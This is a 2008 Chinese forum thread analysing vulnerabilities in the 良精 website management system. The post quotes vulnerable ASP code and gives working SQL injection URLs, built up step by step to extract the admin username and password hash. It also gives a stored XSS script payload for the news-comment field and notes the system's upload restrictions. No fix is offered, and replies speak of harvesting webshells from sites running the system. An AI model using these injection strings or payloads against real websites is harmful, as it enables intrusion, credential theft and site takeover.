打印

良精网站管理系统漏洞分析

本帖已经被作者加入个人空间 本主题由 小3 于 2008-8-23 18:56 移动

良精网站管理系统漏洞分析

废话不多说,既然是技术文章,直奔主题。
    一、注入漏洞
    存在漏洞文件CompHonorBig.asp,我们来看代码部分
复制内容到剪贴板
代码:
    <%dim id
id=request.QueryString("id")%>  '直接从客户端获取id的值,没有经过任何过滤
<html>
<head>
<title>图片</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<%
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from CompHonor where id="&id,conn,1,1       '直接将变量id放进数据库查询,漏洞出现
%>
下面开始手工猜解过程,(菜鸟就直接工具吧)。
    猜解表名 地址栏提交 http://127.0.0.1/CompHonorBig.asp?id=24 and exists (select * from admin)
    返回正常页面,说明存在admin表。
    猜解字段 地址栏提交 http://127.0.0.1/CompHonorBig.asp?id=24 and exists (select username from admin)
    返回正常页面,说明存在username字段
    继续猜字段 提交 http://127.0.0.1/CompHonorBig.asp?id=24 and exists (select password from admin)
    返回正常页面,说明也存在password字段
    提交 http://127.0.0.1/CompHonorBig.asp?id=24 order by 5 返回正常页面,再提交6返回空白页面,说明字段为5
    我们用union来查询 提交 http://127.0.0.1/CompHonorBig.asp?id=24 and 1=2 union select 1,2,3,4,5 from admin
    只返回了一个 2,如图1。

     图1
    实际上还有一个,我们查看源代码,如下:
复制内容到剪贴板
代码:
<html>
<head>
<title>图片</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<div align='center'><img src=4 border=0 ></div>
<div align="center"><BR>
  2<BR>
</div>
</body>
</html>
注意<img src=4 border=0>这里的4就是一个字段
    然后,我们提交http://127.0.0.1/CompHonorBig.asp?id=24 and 1=2 union select 1,username,3,password,5 from admin
    刚才显示2的地方变成了admin,说明用户名为admin,继而,查看源码。<img src=7a57a5a743894a0e border=0 >用户密码为7a57a5a743894a0e
    如图2

    图2
    二、跨站漏洞
     第一个地方,客户留言。
     虽然这里存在跨站漏洞,但是暂时几乎是没有办法利用的。因为每个能够被利用的表单的长度都是被限制了的。我们来看留言的Feedback.asp代码部分。
复制内容到剪贴板
代码:
<input type=hidden name=Username value=<%=Username%>>         
<td height="25" align="right">主题: </td>
<td height="25"><input type="text" name="Title" size="42" maxlength="36" style="font-size: 14px" >
*</td>
这里只是主题部分的表单,限制了长度为36,我们基本没有办法利用了。
    我们再来看看本来可以利用的部分
复制内容到剪贴板
代码:
<td height="25" align="right">内容 *:</td>
<td height="25"><textarea rows="10" name="Content" cols="45" style="font-size: 14px" ></textarea></td>
当然这里的长度绝对是足够的,不过,我们还需要看看到底有没有经过过滤,我们找到表单提交到的文件FeedbackSave.asp,下面是部分代码。
复制内容到剪贴板
代码:
<!--#include file="Inc/articleCHAR.INC"-->
……'省略
rs("CompanyName")=trim(request.form("CompanyName"))
rs("Add")=Add
rs("Postcode")=Postcode
rs("Receiver")=trim(request.form("Receiver"))
rs("Phone")=trim(request.form("Phone"))
rs("Mobile")=Mobile
rs("Fax")=Fax
rs("email")=email
rs("title")=trim(request.form("title"))
rs("content")=htmlencode2(request.form("content"))
rs("Publish")=trim(request.form("Publish"))
我们看到,能够被利用的内容(content)部分已经被htmlencode2函数所包含,这个函数有什么作用呢。我们看Inc/articleCHAR.INC
复制内容到剪贴板
代码:
<%
function htmlencode2(str)
dim result
dim l
if isNULL(str) then
htmlencode2=""
exit function '如果内容为空,则退出函数
end if
l=len(str)
result=""
dim i
for i = 1 to l
select case mid(str,i,1)
case "<"
result=result+"<" '过滤<
case ">"
result=result+">" '过滤>(下面类同)
case chr(13)
result=result+"<br>"
case chr(34)
result=result+"&quot;"
case "&"
result=result+"&amp;"
case chr(32)
'result=result+" "
if i+1<=l and i-1>0 then
if mid(str,i+1,1)=chr(32) or mid(str,i+1,1)=chr(9) or mid(str,i-1,1)=chr(32) or mid(str,i-1,1)=chr(9)  then
result=result+" "
else
result=result+" "
end if
else
result=result+" "
end if
case chr(9)
result=result+"    "
case else
result=result+mid(str,i,1)
end select
next
htmlencode2=result
end function
%>
关键的东西 < 和 > 被过滤掉了,看来这里跨站是基本没用的了。存在了一个鸡肋了,另外还有一种方法,由于时间的关系,在仓促的测试之后没有成功,我这里就不贴出来了。
    第二个地方,新闻评论。
    这里的跨站利用起来比较顺利,但是危害却小了很多,关键是要打开该新闻之后才能够实现跨站。我们来分析一下:该文件是shownews.asp
复制内容到剪贴板
代码:
<tr>
    <td width="100%" height="22" class="tr"><span lang="en">   
     </span>评论人:<%=Replace(Replace(rs3("com_name"),"<","<"),">",">")%>  评论时间:<%=rs3("com_date")%></td>
</tr>
<tr>
         <td height="22" style="word-break:break-all"><%response.write "    " & rs3("com_content") & "<br>"%>
</td>
  </tr>
很显然,这里只过滤了com_name里的内容,而评论内容却没有经过任何过滤。我们来看看操作。
    内容那里输入<script>alert("跨站测试 BY Reghacker From 黑客X档案")</script>,提交后,我们看到了效果,如图3。

    图3
    后台我就没有深入研究,说明一下就是了,没有数据库备份恢复功能,存在ewebeditor但是没有登陆页面,除了ewebeditor还有一个上传程序,使用的是化境的无组件上传。在网站配置处可以修改允许上传的扩展名,但是程序限制了asp,asa,aspx为不允许上传的格式,所以不能添加这三种扩展名了。
    下面的大家自己搞了,本来打算今天12点就睡觉的,刚才写这文章,不知不觉就到了2点半了。好困啊,不想在上那么晚了,昨天通宵害我今天白天只吃了一顿饭。睡觉去了。
    有任何疑问,请跟帖说明。
    最后补充一句:良精出的另一个系统《中国标准企业网站管理系统》也存在同样的问题,看了下,估计代码基本一致,只是界面上后者更好看一些。本文分析的系统官方下载的名字叫做《良精通用企业管理系统 2007》。写完睡觉,大家看着我累了,给顶一下下咯~~

    提供打包下载: 良精网站管理系统漏洞分析.rar (38.03 KB)
隐匿。

TOP


辛苦了。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
蜡笔小许
混迹于NGA,=。=

TOP

可怜没人顶啊。如果文章都沉下去,那我以后就不写了。
隐匿。

TOP

论坛的人是不是对这个不感兴趣?
隐匿。

TOP


大部分还都是菜菜鸟

没几个人看的懂。。。。。。。。。。。。。。。。
蜡笔小许
混迹于NGA,=。=

TOP

好东西顶下```

TOP

好啊!!
小弟先收起来了

TOP

还是注入漏洞...呵呵!!对菜鸟有些用!不过不知道这个系统用的人多不多不然有有N多WEBSHELL了...........呵呵!!!!!!!!!!!!!!!!
我可不是HACKER
偶是白客!哈哈!
o(∩_∩)o

TOP

分析得还不错!·我顶!!好了把!!支持!!继续努力!!!!!!!!!!!!!!!1111
我可不是HACKER
偶是白客!哈哈!
o(∩_∩)o

TOP

WEBSHELL我来了.....这个系统用的人还是不少的..

TOP

Processed in 0.070459 second(s), 7 queries, Gzip enabled.